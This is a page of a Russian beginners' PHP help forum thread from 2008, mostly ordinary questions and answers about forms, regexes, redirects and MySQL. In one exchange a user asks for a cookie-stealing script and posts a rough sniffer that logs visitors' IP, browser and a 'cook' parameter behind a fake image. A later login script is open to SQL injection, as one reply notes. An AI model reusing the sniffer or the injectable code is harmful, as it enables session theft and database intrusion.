PDA

Просмотр полной версии : [php] Новичкам: задаем вопросы


Страницы : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 [15] 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66

groundhog
09.06.2008, 19:54
oRb, я любитель поизвращаться... Но чтобы так, как предложил ты... :) Чтож, снимаю перед тобой шляпу! Могу только предложить использовать крон на удалённой машине... :)

Корвин, ob_start(), ob_get_contents(), ob_end_clean() или ob_end_flush();

oRb
09.06.2008, 20:16
ы, я прочитал только первый абзац, поэтому не допер толком, что конкретно надо.
да можно обойтись буферами. А можно и попробовать кешированием на базе HTTP-протокола. (подробней http://phpclub.ru/detail/magazine/2006/02/ )
ps:
oRb, я любитель поизвращаться... Но чтобы так, как предложил ты... :) Чтож, снимаю перед тобой шляпу! Могу только предложить использовать крон на удалённой машине... :)

можно сервак на мобильнике поднять %) и написать прогу, которая по координатам gps будет определять твое местоположение. И если широта будет в 1.5 раза больше долготы, то она будет выполнять скрипт :D

андрюха321
09.06.2008, 20:43
Я новичек не судите строго за мой вопрос, но для того и форум чтобы спрашивать..... Меня интересует скрипт который ворует куки, как его написать или хотябы чтонибудь про это

groundhog
09.06.2008, 20:48
А чё у новичков поиск не работает? Что за безобразие!!!

http://forum.antichat.ru/showpost.php?p=457195&postcount=1

андрюха321
09.06.2008, 21:41
я прочел-> http://forum.antichat.ru/showpost.php?p=457195&postcount=1 И у меня появились вопросы, где создавать файлы sniff.php и log.txt в блокноте и где их сохранять? И еще вот я создал страничку на юкозе, мне в "шаблонах" все удалить надо и туда заливать снифер или не надо ничего удалять а в этуже страницу заливать?

Isis
10.06.2008, 00:42
На юкозе нельзя заливать свои пхп файлы, ты не сделаешь там сниффер

DTW
10.06.2008, 02:33
Почему не выведет методы в классах модер администратор?

<?php
class User
{
private $log;
private $pas;

function __construct($log,$pas)
{
$this->log = $log;
$this->pas = $pas;
}
function LevelAcess($log,$pas)
{
if($log == $this->log && $pas == $this->pas ){
return true;
}
else
{
return false;
}
}

public function getLogin()
{
return $this->log;
}
}

class Normal extends User
{
// future send news
}

class Moderation extends User
{
public function moderator($m)
{
echo("Here you can post and edit news<br>");
}
function future()
{
// under contruction

}
}

class Admin extends User
{
public function adminit($b)
{
echo("Here you can ban bad user<br>");
}
function future()
{
// under contruction

}
}

$nooby = new User("moder","1238");
echo "User:".$nooby->getLogin();

$moder = new Moderation("mod","1238");
//$moder->moderator($m);

$adm = new Admin("admin","1234");


if($moder->LevelAcess($log,$pas))
{
$moder->moderator($m);
}

if($adm->LevelAcess($log,$pas))
{
$adm->adminit($b);
}
?>

андрюха321
10.06.2008, 10:00
а на народе можно заливать свои пхп файлы?

андрюха321
10.06.2008, 10:25
я вот вроде написал снифер, только не знаю правильно или нет $data=date("D.M.Y"); $time=date("h:i"); $ip=trim($_SERVER['REMOTE_ADDR']); $sysinfo=trim($_SERVER['HTTP_USER_AGENT']); if(is_file($file)){ $fo=fopen($file,"a"); $res="$data | $time | $ip | $sysinfo \n"; $fw=fwrite($fo,$res); fclose($fo); } $query=trim($HTTP_GET_VARS['cook']); $res="$data | $time | $ip | $sysinfo \n $query \n"; Header("Content-type: image/png"); $im = ImageCreateFromGif("путь_к_моей_картинке");
ImageGif($im);
ImageDestroy($im);

Корвин
10.06.2008, 11:15
используй крон.


крон тут непричем, ты не понял суть проблемы, у меня получается и скрипт генерящий страничку и парсер этой странички в одном коде, и я думал что када эта страничка будет открываться скрипт ее сперва сгенерит а потом парсером пройдет по ней же, но почему то так не работает=(

oRb
10.06.2008, 11:30
крон тут непричем, ты не понял суть проблемы, у меня получается и скрипт генерящий страничку и парсер этой странички в одном коде, и я думал что када эта страничка будет открываться скрипт ее сперва сгенерит а потом парсером пройдет по ней же, но почему то так не работает=(
2 решения:
1. Вместо echo собирать в переменную. (неудобно)
2. http://ru2.php.net/manual/ru/ref.outcontrol.php (удобно)

g-warning
10.06.2008, 11:44
Народ выручайте)

имеется файл -

SiteMap.txt

http://www.site.com/gde-deshevo-pokupatsya.html
http://www.site.com/kupit-odejdu.html
http://www.site.com/kupit-nedorogo.html
http://www.site.com/kupit-rykzak.html
http://www.site.com/kitayskie-kupit.html
http://www.site.com/novosibirsk-kuply.html


Нужно написать скрипт который бы выводил это файл таким образом -


<a href="http://www.site.com/gde-deshevo-pokupatsya.html">http://www.site.com/gde-deshevo-pokupatsya.html</a>
<a href="http://www.site.com/kupit-odejdu.html">http://www.site.com/kupit-odejdu.html</a>
<a href="http://www.site.com/kupit-nedorogo.html">http://www.site.com/kupit-nedorogo.html</a>
<a href="http://www.site.com/kupit-rykzak.html">http://www.site.com/kupit-rykzak.html</a>
<a href="http://www.site.com/kitayskie-kupit.html">http://www.site.com/kitayskie-kupit.html</a>
<a href="http://www.site.com/novosibirsk-kuply.html">http://www.site.com/novosibirsk-kuply.html</a>


Заранее спасибо :)

oRb
10.06.2008, 11:53
g-warning, вот:

<?
$in = file("SiteMap.txt");
foreach ($in as $item)
echo "<a href=\"".trim($item)."\">".trim($item)."</a>";
?>

Корвин
10.06.2008, 12:48
g-warning, вот:

<?
$in = file("SiteMap.txt");
foreach ($in as $item)
echo "<a href=\"".trim($item)."\">".trim($item)."</a>";
?>




<?
$in = file("SiteMap.txt");
foreach ($in as $item)
echo '<a href="'.trim($item).'">'.trim($item).'</a>';
?>



так проще чем со слешами

groundhog
10.06.2008, 14:25
Почему не выведет методы в классах модер администратор?

<?php
class User
{
private $log;
private $pas;

function __construct($log,$pas)
{
$this->log = $log;
$this->pas = $pas;
}
function LevelAcess($log,$pas)
{
if($log == $this->log && $pas == $this->pas ){
return true;
}
else
{
return false;
}
}

public function getLogin()
{
return $this->log;
}
}

class Normal extends User
{
// future send news
}

class Moderation extends User
{
public function moderator($m)
{
echo("Here you can post and edit news<br>");
}
function future()
{
// under contruction

}
}

class Admin extends User
{
public function adminit($b)
{
echo("Here you can ban bad user<br>");
}
function future()
{
// under contruction

}
}

$nooby = new User("moder","1238");
echo "User:".$nooby->getLogin();

$moder = new Moderation("mod","1238");
//$moder->moderator($m);

$adm = new Admin("admin","1234");


if($moder->LevelAcess($log,$pas))
{
$moder->moderator($m);
}

if($adm->LevelAcess($log,$pas))
{
$adm->adminit($b);
}
?>

Надеюсь, ты знаешь, что атрибуты, описанные как private не наследуются? Кто будет в производных классах инициализировать конструкторы базовых классов?

Buffalon
10.06.2008, 15:29
а на народе можно заливать свои пхп файлы?... .Нет... .
Тут где то есть тема типа `Я новичок с чего начать`.ПОсмотри её

Gadik
11.06.2008, 10:40
Добрый день. Подскажите пожалуйста, что означает следующая регулярка?

preg_match('|<span class=\"show_detail\">(.*)<\/span>|Uis',...

правильно ли я понял, что она из всей страницы сама ищет класс show_detail и берет все что в нем???

Gadik
11.06.2008, 11:12
а если текст имеет вид:

<td valign="top" style='PADDING-LEFT: 10px;'>
<span class='date'>[11.06.2008 09:13]&nbsp;&nbsp;</span><br>

<H1>NBU’s Official Exchange Rate, June 11, 2008</H1><br>
<span class="show_detail">
<P class=MsoNormal style="M...

а мне нужно то что между <H1></H1>

preg_match('|<H1>(.*)<\/H1>|Uis',...

так будет правильно?

Спрашиваю, потому что не работает...

Isis
11.06.2008, 12:56
<?php
$text = '<td valign="top" style=\'PADDING-LEFT: 10px;\'>
<span class=\'date\'>[11.06.2008 09:13]&nbsp;&nbsp;</span><br>

<H1>NBU’s Official Exchange Rate, June 11, 2008</H1><br>
<span class="show_detail">
<P class=MsoNormal style="M...';

preg_match('|<H1>(.*)<\/H1>|Uis', $text, $xek);
echo $xek['1'];
?>

Gadik
11.06.2008, 13:08
аха. нашел ошибочку. спс!

GuK0s
11.06.2008, 14:27
test.html
<html>
<head>
<title>Форма для отправки сообщения через веб-интерфейс
</title>
</head>
<body><center>
<table border=0>
<tr>
<td bgcolor=lightblue><b><h4>Для отправки нам сообщения используйте следующую форму
</tr>
<tr>
<td bgcolor=red>
<form action=mail1.php method=post>
<center><b>Ваше имя<br><input type=text name=name size=30><p>
Ваш e-mail<br><input type=text name=email size=30><p>
Ваше сообщение<br><textarea name=mess rows=5 cols=50></textarea><p>
<input type=submit value="Отправить сообщение">
</form>
</tr>
</table></center>
</body>
</html>

mail1.php
<?php

if (isset ($name))
{
$name = substr($name,0,20); //Не может быть более 20 символов
if (empty($name))
{
echo "<center><b>Не указано имя !!!<p>";
echo "<a href=reklama.html>Вернуться и правильно заполнить форму.</a>";
exit;
}
}
else
{
$name = "не указано";
}

if (isset ($email))
{
$email = substr($email,0,20); //Не может быть более 20 символов
if (empty($email))
{
echo "<center><b>Не указан e-mail !!!<p>";
echo "<a href=reklama.html>Вернуться и правильно заполнить форму.</a>";
exit;
}
}
else
{
$email = "не указано";
}

if (isset ($mess))
{
$mess = substr($mess,0,1000); //Не может быть более 1000 символов
if (empty($mess))
{
echo "<center><b>Сообщение не написано !!!<p>";
echo "<a href=reklama.html>Вернуться и правильно заполнить форму.</a>";
exit;
}
}
else
{
$mess = "не указано";
}

$i = "не указано";
if ($name == $i AND $email == $i AND $mess == $i)
{
echo "Ошибка ! Скрипту не были переданы параметры !";
exit;
}

$to = "ваш@адрес.ru";
$subject = "Сообщение с вашего интернет-сайта";
$message = "Имя пославшего:$name::::::::::Электро нный адрес:$email::::::::::Сообщение:$mes s:::::::::IP-адрес:$REMOTE_ADDR";
mail ($to,$subject,$message) or print "Не могу отправить письмо !!!";
echo "<center><b>Спасибо за отправку вашего сообщения";
exit;
?>

Добавляю своё мыло в $to, заливаю 2 файла в одну папку, заполняю все поля в test.html, а мне выдает Ошибка ! Скрипту не были переданы параметры ! В чем может быть проблема?

Корвин
11.06.2008, 14:36
ты забыл в поля формы добавить value=""

n3m0
11.06.2008, 14:36
Нужно обьявить ключевые переменные
$name = $_POST['name'];
$email = $_POST['email'];
$mess = $_POST['mess'];


<?php
$name = $_POST['name'];
$email = $_POST['email'];
$mess = $_POST['mess'];

if (isset ($name))
{
$name = substr($name,0,20); //Не может быть более 20 символов
if (empty($name))
{
echo "<center><b>Не указано имя !!!<p>";
echo "<a href=reklama.html>Вернуться и правильно заполнить форму.</a>";
exit;
}
}
else
{
$name = "не указано";
}

if (isset ($email))
{
$email = substr($email,0,20); //Не может быть более 20 символов
if (empty($email))
{
echo "<center><b>Не указан e-mail !!!<p>";
echo "<a href=reklama.html>Вернуться и правильно заполнить форму.</a>";
exit;
}
}
else
{
$email = "не указано";
}

if (isset ($mess))
{
$mess = substr($mess,0,1000); //Не может быть более 1000 символов
if (empty($mess))
{
echo "<center><b>Сообщение не написано !!!<p>";
echo "<a href=reklama.html>Вернуться и правильно заполнить форму.</a>";
exit;
}
}
else
{
$mess = "не указано";
}

$i = "не указано";
if ($name == $i AND $email == $i AND $mess == $i)
{
echo "Ошибка ! Скрипту не были переданы параметры !";
exit;
}

$to = "ваш@адрес.ru";
$subject = "Сообщение с вашего интернет-сайта";
$message = "Имя пославшего:$name::::::::::Электро нный адрес:$email::::::::::Сообщение:$mes s:::::::::IP-адрес:$REMOTE_ADDR";
mail ($to,$subject,$message) or print "Не могу отправить письмо !!!";
echo "<center><b>Спасибо за отправку вашего сообщения";
exit;
?>

ufalog
11.06.2008, 23:14
хочу сделать чтоб за место загруженйо певрой фоткив выводе отображалась одна картинка если есть фотка то допустим всегда картинка 1.gif а если нету то картинка 2.gif

Тоесть нужно именит условие что если есть фотка то не брать ее на превьшку а испольовать картинку 1.gif

думаю стрчоку надо заменить

$pic = EAImage::load_firstPic($obj->id, $eaconf->ea_picpath, $eaconf->ea_tbwidth);

просто с синтаксисом неочень дружу..помогите кто может


defined( '_VALID_MOS' ) or die( 'Restricted access' );

$pic = EAImage::load_firstPic($obj->id, $eaconf->ea_picpath, $eaconf->ea_tbwidth);
$href= sefRelToAbs(ampReplace("index.php?option=com_estat eagent&Itemid=$Itemid&act=object&task=showEO&id=". $obj->id));
?>
<tr class="sectiontableentry<?php echo (($line%2)+1) ?>" >
<td width="100%">
<table border="0" cellspacing="1" cellpadding="0">
<tr>
<td rowspan=3 ><a href="<?php echo $href?>"><?php echo $pic ?></a></td>
<td height="50" width="100%" >
<a href="<?php echo $href ?>"><b><?php echo "<img src='images/M_images/arrow.png' alt='' border='0'/>".$obj->obj_id.": ". $obj->title; ?></b></a><?php EA_Template::FastEditBtn($obj); ?>

</td>
<td ><?php if(@$obj->hot==1 &&$showhot==1 ){ ?>
<img src="components/com_estateagent/pictures/gui/hot.gif" alt="Hot Offer!!" border="0"/>
<?php } ?> </td>
</tr>

.Slip
12.06.2008, 13:41
Как хедером сделать рефреш страницы? Мне именно надо на тот же урл.
header('Location: ' . basename(__FILE__));
Не катит

EST a1ien
12.06.2008, 14:19
.Slip мне вот что фаерфокс выдал кгда я попробовал кидаю четко на тотже урл.
Firefox определил, что сервер перенаправляет запрос на этот адрес таким образом, что он никогда не завершится.
а если на тотже файл то можно так.

if($_SERVER["QUERY_STRING"]=='test')
{
header('Location: ' .$_SERVER["SCRIPT_NAME"]);
}

.Slip
12.06.2008, 14:33
Дело в том что у меня не просто файл. Там есть параметры. Т.е.
script.php?blabla=111&bla=222&blablabla=333
И данные передаваемые гетом ес-но меняются. Поэтому написать статичный адрес не получится. Мне нужен именно рефреш того урла с которого идёт запуск скприта.

EST a1ien
12.06.2008, 14:41
ну вобще есть переменная $_SERVER["REQUEST_URI"] но если ты кидаешь четко по ней не изменяя параметры то скорее всего тебя не кинет по ней. нужно немного изменять урл.
например добавлять переменную какуюнибудь.
напремер можно так.
script.php?blabla=111&bla=222&blablabla=333&ref=1
выглядеть будет так

if(!isset($_GET['ref']))
{
header('Location: '.$_SERVER["REQUEST_URI"].'&ref=1');
}

.Slip
12.06.2008, 15:45
Не, всё таки это не подходит. Хер тогда на хедеры, какой функцией рефрешнуть страницу?

NOmeR1
12.06.2008, 15:50
Если нужен рефреш, то вот

header('Refresh: 0; URL='.$_SERVER["REQUEST_URI"]);

.Slip
12.06.2008, 15:55
Если нужен рефреш, то вот

header('Refresh: 0; URL='.basename(__FILE__));
Опять же. Я выше написал про параметры. У меня идёт запрос к 1.php?blabla=1 - далее выполняется какой либо код, и идёт рефреш страницы. Вот мне надо что бы именно открылась 1.php?blabla=1 , то что ты кинул, редиректит на 1.php без параметров.

NOmeR1
12.06.2008, 15:58
Да пока ты писал, я пост обновил)

oRb
12.06.2008, 16:04
Не, всё таки это не подходит. Хер тогда на хедеры, какой функцией рефрешнуть страницу?
http://en.wikipedia.org/wiki/Meta_refresh

.Slip
12.06.2008, 16:08
В общем более-менее с этим разобрался, но теперь при рефреше не обновляются данные на странице=\
add:
Всё, не надо. Разобрался.

DTW
12.06.2008, 22:24
Почему не раб счетчик


<?php
class file
{
var $file;
var $bufer;
function __construct($files)
{
//open file from directory
$this->file=fopen($files,"r+");
if(!$this->file)
{
echo "Error open file";
}
}
function bufer ()
{
// here view
$this->bufer =fread($this->file,100);
}

function prints()
{
echo $this->bufer;
echo "<br>";
}

function __destruct()
{
fclose($this->file);
}

}

class file2 extends file
{
function write($text)
{
fputs($this->file,$text);
}
function counts()
{
$total = 0;
while(!feof($this->file))
{
$str = fgets($this->file);
$total++;
}
echo $total;
}

}

$one = new file2 ("file.txt");
$one->bufer();
$one->prints();
echo"<br>";
$one->counts();
echo"<br>";
$text="best PHP";
$one->write($text);

?>

EST a1ien
12.06.2008, 22:42
$one->prints();
Вот эта строчка переходит к концу файла.
и вот этот цикл не разу не проходит.
while(!feof($this->file))
{
$str = fgets($this->file);
$total++;
}
Тоесть у тебя на момент подхода к циклу указатель уже находится в конце файла.

Buffalon
13.06.2008, 01:01
Используй функцию ftruncate помойму так пишется>Переводит указатель на начало

Ch3ck
13.06.2008, 01:33
ftruncate помойму так пишется>Переводит указатель на начало
ftruncate — Урезает файл до указанной длинны

Надо или
rewind($fp)
или
fseek($fp, 0);

Gadik
13.06.2008, 11:14
Добрый день. Подскажите пожалуйста как правильно задать количество символов, которые нужно брать из файла с помощью команды:

$open=file_get_contents($site,"r");

сам принцип не знаю, как добавить аргумент, если перед ним есть еще аргумент, но его я не задаю...


$open=file_get_contents($site,"r",,,10000);

как бы и так не работает и так:

$open=file_get_contents($site,"r",'','',10000);

file_get_contents ( string $filename [, bool $use_include_path [, resource $context [, int $offset [, int $maxlen ]]]] )

вот как пропустить не нужные аргументы и задать последний int $maxlen ??

Isis
13.06.2008, 11:36
<?php
$open = file_get_contents('vv.txt', false, null, 0, 5);
echo $open;
?>

Gadik
13.06.2008, 12:07
не, так не работает. нужный мне текст находится примерно на между 40000 и 45000 символами. я с запасом беру 100000. и не находит в нем нужный текс

KIR@PRO
13.06.2008, 13:04
Бедте добры подскажите как получить кол-во записей в Mysql базе....

Naydav
13.06.2008, 13:14
Бедте добры подскажите как получить кол-во записей в Mysql базе....

Во всей базе или только одной таблице

$sql = "SELECT count(id) `table_name`";
table_name - имя таблицы

А со всей можно так

$db=mysql_connect("localhost", "user_name", "");
$db_list=mysql_list_dbs($db);
while($r_db=mysql_fetch_object($db_list)) {
echo $r_db->Database."n";
// распечатать список таблиц
$t_list=mysql_list_tables($r_db->Database);
for($i=0;$i<mysql_num_rows($t_list);$i++) {
echo " - ".mysql_tablename($t_list,$i)."n";
}
}
пример выведет все имена баз данных и таблиц, которые в них содержаться
Недолго переделать, что бы не имена таблиц выводило, а делало запрос
$sql = "SELECT COUNT(id)" . mysql_tablename($t_list,$i);
и то значение что вернет(количество записей) добавлять к какойто переменной

SeeJay
13.06.2008, 14:12
Здравствуйте ребятки!
Для вас, думаю, не составит труда помочь мне в столь легкой задаче!?
Как правильно сделать скрипт на ПХП типа «Сайт переехал»?

С уважением и благодарностью, SeeJay!

Gadik
13.06.2008, 15:55
Подскажите пожалуйста с регулярочкой.

чтобы из текста вида:

...span>
<span class='content_arial'><a class='td' href='/ukr/online/62/2094752.html'>Госфинуслуг обнародовала проект требований к диверсификации активов компаний по страхованию жизни</a></span>
</td>...


взять цифры после ukr/online/62/ вместе с .html ???

раьше работала регулярка:

preg_match_all('/(\d+)\.html/s',....

щас она уже не фурычит из-за изменения сайта.

Naydav
13.06.2008, 16:50
Как правильно сделать скрипт на ПХП типа «Сайт переехал»?
Создать Index.html со следющим содержимым, залить где раньше был сайт(доменное имя), www.newurl.com - новый адресс
<script type="text/javascript">
setTimeout('location.replace("http://www.newurl.com")', 3000);
</script>
<noscript>
<meta http-equiv="refresh" content="3; url=http://www.newurl.com">
</noscript>

<h1>Сайт переехал</h1>

Подскажите пожалуйста с регулярочкой.
$test - это строка, где содержиться ссылка
$pattern = '/((\d+)\.html)/s';
preg_match($pattern, $test, $matces);
echo $matces[1];

SeeJay
13.06.2008, 20:12
Спасибочки! :)

Buffalon
14.06.2008, 21:24
[QUOTE=Naydav]Как правильно сделать скрипт на ПХП типа «Сайт переехал»?
Создать Index.html со следющим содержимым, залить где раньше был сайт(доменное имя), www.newurl.com - новый адресс
ХМ
Смотря что тебе нужно донест до посетителя... .Можно просто HEADER('LOCALTION:microsoft/xXx.php');)

svesve
15.06.2008, 04:12
Всем привет!
Вопрос такой:
Есть форма вводим Имя и Фамилию
С формы данные пишуться в файл (post). Как можно защатиться от спама формы?
Скрипт обрабатывающий форму
$Name = $_POST['name'];
$Sname = $_POST['sname'];
$log = fopen("log.txt","a+");
fwrite($log,"$Name" "$Sname");
fclose($log);

svesve
15.06.2008, 06:03
я так понимаю это идет проверка на одинаковые строки?
з.Ы. попробовал не спасает (
З.Ы.Ы Формы имя и фамилия постоянно флудятся разными данными

PandoraBox
15.06.2008, 08:04
<?php

error_reporting(0); // Off errors

function encode_ip($ip){
$d = explode('.', $ip);
return sprintf('%02x%02x%02x%02x', $d[0], $d[1], $d[2], $d[3]);
}

//Filtrated POST
$name = preg_replace("/[\r\n\s]/", "", $_POST['name']);
$sname = preg_replace("/[\r\n\s]/", "", $_POST['sname']);

// Check correct
if (!$name || !$sname) die("Доступ запрещен. Проверьте корректность введенных данных."); /* LOL :) */

// Check logs
$log = file("log.txt"); // Open file line array
for ($i=0; $i< sizeof($log); $i++){ // Search lines
if($log[$i] == $name." ".$sname."\n"){ // Found
die("Данная Имя и Фамилия уже используется."); // Attacked Must die
}
}
$log_ip = file("log_ip.txt"); // Open file line array
for ($i=0; $i< sizeof($log_ip); $i++){ // Search lines
if($log_ip[$i] == encode_ip($_SERVER["REMOTE_ADDR"])."\n"){ // Found
die("С вашего ИП уже было отправлено сообщение."); // Attacked Must die
}
}
// Logs write
$log = fopen("log.txt","a+");
$log_ip = fopen("log_ip.txt","a+");
fwrite($log, $name." ".$sname."\n");
fwrite($log_ip, encode_ip($_SERVER["REMOTE_ADDR"])."\n");
fclose($log);
fclose($log_ip);

?>

VDShark
15.06.2008, 12:31
ИМХО проверка по Ip от СПАМА не защищает, защищает от флуда. А заспамить могут взяв 1к элитных прокси к примеру, и проспамив что надо. Так что ели ты имел ввиду именно спам формы - ставь капчу.

Chaak
15.06.2008, 12:41
Всем привет!
Вопрос такой:
Есть форма вводим Имя и Фамилию
С формы данные пишуться в файл (post). Как можно защатиться от спама формы?
Скрипт обрабатывающий форму
$Name = $_POST['name'];
$Sname = $_POST['sname'];
$log = fopen("log.txt","a+");
fwrite($log,"$Name" "$Sname");
fclose($log);
Ставь капчу(картинку с кодом подтверждения) только чтонить посложней.

svesve
15.06.2008, 15:22
Всем срасибо,воспользовался сриптом Panbdorы он помогает,единственно что если у юзеров одинаковые айпи то одному облом )

PandoraBox
15.06.2008, 21:46
Капчу тож поставь вот ссылка на библиотеку http://www.captcha.ru/kcaptcha/

mad_xakep
16.06.2008, 12:53
вопрос ваще нубовский
вот у меня файл он инклудирует оформление при помощи
<? include "tpl/header.tpl"; ?> лежит в главонй /

а если файл находиться в /data/1.php
а файл /tpl/header.tpl
как мне путь то до него прописать как непробовал неполучаеться
мне надо именно оттуда инклудировать

Chaak
16.06.2008, 12:55
вопрос ваще нубовский
вот у меня файл он инклудирует оформление при помощи
<? include "tpl/header.tpl"; ?> лежит в главонй /

а если файл находиться в /data/1.php
а файл /tpl/header.tpl
как мне путь то до него прописать как непробовал неполучаеться
мне надо именно оттуда инклудировать
../tpl/header.tpl

ппц народ пошол

mad_xakep
16.06.2008, 12:59
../tpl/header.tpl

ппц народ пошол
бля я это пробовал воощето не пашет и так почему то

Fuckel
16.06.2008, 13:06
методом опхода каталогов ../..
допустим /public_html/1/1.php нужно проинклудить в /public_html/2/2.php
2.php должен быть таким
<?
include('../1/1.php');
?>

Chaak
16.06.2008, 13:08
Дык нужно двигаться тогда от root_dir:

/var/www/tpl/header.tpl

вообщем от начального пути

svesve
16.06.2008, 17:53
Подскажите ка будет выглядеть код для получения данных из формы
мыло;пас
мыло1;пас1
.......
для дальнейшей их проверки через функцию которой нужно 1 и 2параметр из списка
и те данные которые так сказать валид выводяться ниже а не валид не выводятся
================================================== =
я так понимаю надо из формы передать данные в массив
далее нуужно рассортировать данные из массива list($email,$pass) = explode(";", ***)
нужно для массива for($i=0;$i<count(**);$i++) ???

Корвин
16.06.2008, 18:27
тебе нада сразу распределить по масивам тогда уж пассы и логины

for ($i=1; $i<count($_POST); $i++)
{
$login[$i] = $_POST[login.$i];
$pass[$i] = $_POST[pass.$i];
}

тока name у input'ов прописывай типа login1 pass1, login2 pass2 , а потом проверяй их как те нада

Piflit
16.06.2008, 18:47
Корвин
не
$_POST[login.$i];
а
$_POST['login'.$i];

Корвин
16.06.2008, 18:55
Корвин
не
$_POST[login.$i];
а
$_POST['login'.$i];


может немного не грамотно, но работает, а на будущее учту

svesve
16.06.2008, 19:49
Эм вы немного не так поняли )
там textarea а не inputbox )
мне из textarea надо данные сунуть в массив дальше их разделить на логин и пароль ну а там функция проверки уже
вот как реализовать саму вбивку в массив?

EST a1ien
16.06.2008, 20:52
$accs=isset($_POST['acclist']) ? $_POST['acclist'] : '';
$login=array();
$pass=array();
$i=0;
$accarr=explode("\n",str_replace("\r",'',$accs));
foreach($accarr as $acc)
{
$allaccs=explode(":",$acc);
$login[$i]=$allaccs[0];
$pass[$i]=$allaccs[1];
$i++;
}

EST a1ien
16.06.2008, 21:56
ребята нужен маленький хелп.
как декодировать строку.
вобщем вот ссылка на файл. на нем я ставил эксперименты. Строчки передаются из Flash там пробовал их кодировать, а так же не кодировать.
http://a1ien.net.ru/vkmessager/logs.txt

KIR@PRO
16.06.2008, 22:15
будте добры скажите как сделать запрос и как из него получить колличество записей в бд....

___________________________________
http://www.hash.ixces.ru/img.gif

не могу найти где подпись делать.... может я ударился головой? напишите если кто знает...

EST a1ien
16.06.2008, 22:22
mysql_connect( $host, $user, $pass );
mysql_select_db( $db);
$res=mysql_query("SELECT .......");
$num=mysql_num_rows($res);

mff
16.06.2008, 22:56
будте добры скажите как сделать запрос и как из него получить колличество записей в бд....

for ($i = 0; $i < $num; $i++) {
$row = mysql_fetch_array ($res);
}

В дополнение к сказанному EST a1ien

Ch3ck
16.06.2008, 23:04
как декодировать строку.?
http://www.php.net/url_decode

EST a1ien
16.06.2008, 23:09
http://www.php.net/url_decode самый умный? делал! непомогает! не задавал бы если былобы все так просто так просто.

Naydav
17.06.2008, 13:23
будте добры скажите как сделать запрос и как из него получить колличество записей в бд....
Отвечал же тебе уже!

Во всей базе или только одной таблице

$sql = "SELECT count(id) `table_name`";
table_name - имя таблицы

А со всей можно так

$db=mysql_connect("localhost", "user_name", "");
$db_list=mysql_list_dbs($db);
while($r_db=mysql_fetch_object($db_list)) {
echo $r_db->Database."n";
// распечатать список таблиц
$t_list=mysql_list_tables($r_db->Database);
for($i=0;$i<mysql_num_rows($t_list);$i++) {
echo " - ".mysql_tablename($t_list,$i)."n";
}
}
пример выведет все имена баз данных и таблиц, которые в них содержаться
Недолго переделать, что бы не имена таблиц выводило, а делало запрос
$sql = "SELECT COUNT(id)" . mysql_tablename($t_list,$i);
и то значение что вернет(количество записей) добавлять к какойто переменной

EST a1ien
17.06.2008, 13:45
ребята нужен маленький хелп.
как декодировать строку........
Проблема решана помогло iconv

mff
17.06.2008, 16:02
Написал вход на сайт, но что то он перестал работать! :)
Вчера работал! :)
Помогите плиз разобраться, что тут нитак:

<?php
session_start();
if(!session_is_registered("valid_user")){
?>

<form action="prolog.php" enctype="multipart/form-data" method="post">
<div style="margin:90px 0px 0px 20px;" >
<table width="149" height="100" border="0" cellspacing="0" cellpadding="0">
<tr>
<td valign="bottom" class="iePNG" style="background-image: url(img/login.png); background-position:top left; background-repeat:no-repeat; height:37px; padding:0px 0px 4px 4px;">
<input type="text" name="login" style="border:none; background:none; width:143px; font-size:14px;" />
</td>
</tr>
<tr>
<td style="height:10px;"></td>
</tr>
<tr>
<td valign="bottom" class="iePNG" style="background-image: url(img/password.png); background-position:top left; background-repeat:no-repeat; height:37px; padding:0px 0px 4px 4px;">
<input type="password" name="password" style="border:none; background:none; width:143px; font-size:14px;" />
</td>
</tr>
<tr>
<td align="" style="padding-top:5px;"><input type="image" src="img/reg.png" style="margin-right:14px;" onClick="window.open('member.php',''); return false;" /> <input type="image" src="img/vhod.png" /></td>
</tr>
</table>
</div>
</form>
<?php
}
else{
if($login && $password){
include("admin/config.php");
$result = mysql_query ("SELECT * FROM `member` WHERE `login`='".$login."' AND `password`='".$password."'");
if(!empty($result)){
$row = mysql_fetch_array ($result);
$valid_user = $row["id"];
echo $valid_user;
session_register("valid_user");
if(session_is_registered("valid_user")){
echo'<div style="font:; margin:0px 20px 0px 20px;">Мы рады Вас приветствовать <i>'.$row["login"].'</i>!</div>';
}
}
}
}

EST a1ien
17.06.2008, 16:10
Написал вход на сайт, но что то он перестал работать!
Вчера работал!
Помогите плиз разобраться, что тут нитак:
if($login && $password){

if($_POST['login'] && $_POST['password']){

bul.666
17.06.2008, 16:28
А если стоит регистер глобалс?
---
Может так:
if(isset($_POST['login']) && isset($_POST['password'])) {
---
ЗЫ код смотреть впадлу

mff
17.06.2008, 18:01
if($login && $password){
if($_POST['login'] && $_POST['password']){
нет, непомогает :(



А если стоит регистер глобалс?
---
Может так:
if(isset($_POST['login']) && isset($_POST['password'])) {
---
ЗЫ код смотреть впадлу

не, за ночь я регистер в глобалс не менял :)

Помогите, help :confused:

neval
17.06.2008, 18:12
может я дурак, но объясни что делает это ?
if($login && $password){
include("admin/config.php");

Naydav
17.06.2008, 18:14
Если ты делаешь так
if($login && $password){
if($_POST['login'] && $_POST['password']){
то и
$result = mysql_query ("SELECT * FROM `member` WHERE `login`='".$_POST['login'] ."' AND `password`='".$_POST['password']."'"); нужно делать... вообще везде замени переменные на $_POST

вообще, сделай перед этой строкой
echo "SELECT * FROM `member` WHERE `login`='".$_POST['login'] ."' AND `password`='".$_POST['password']."'";
И посмотри что выведет

Config.php - проверь

ps
А на какой сайт это вход???
Ты про sql-injection не слыхал? :)[U]

Fuckel
17.06.2008, 18:16
может я дурак, но объясни что делает это ?
if($login && $password){
include("admin/config.php");
если существуют переменные логин и пассворд инклудиться скрипт config.php. все понятно. видимо там конфиги к доступу БД или еще чего-нибудь.

neval
17.06.2008, 18:19
если существуют переменные логин и пассворд инклудиться скрипт config.php. все понятно. видимо там конфиги к доступу БД или еще чего-нибудь.


хм...
а разве не через isset ?

Fuckel
17.06.2008, 18:22
!empty($a), isset($a), ($a) разница?

Naydav
17.06.2008, 18:25
!empty($a), isset($a), ($a) разница?
Вообщето разница ОГРОМНАЯ!
Так ради интереса запусти скриптик
$a = "";
if(!empty($a)) echo "empty";
if(isset($a)) echo "isset";

Buffalon
17.06.2008, 18:26
!empty($a), isset($a), ($a) разница?
.::lol::.

mff
17.06.2008, 18:27
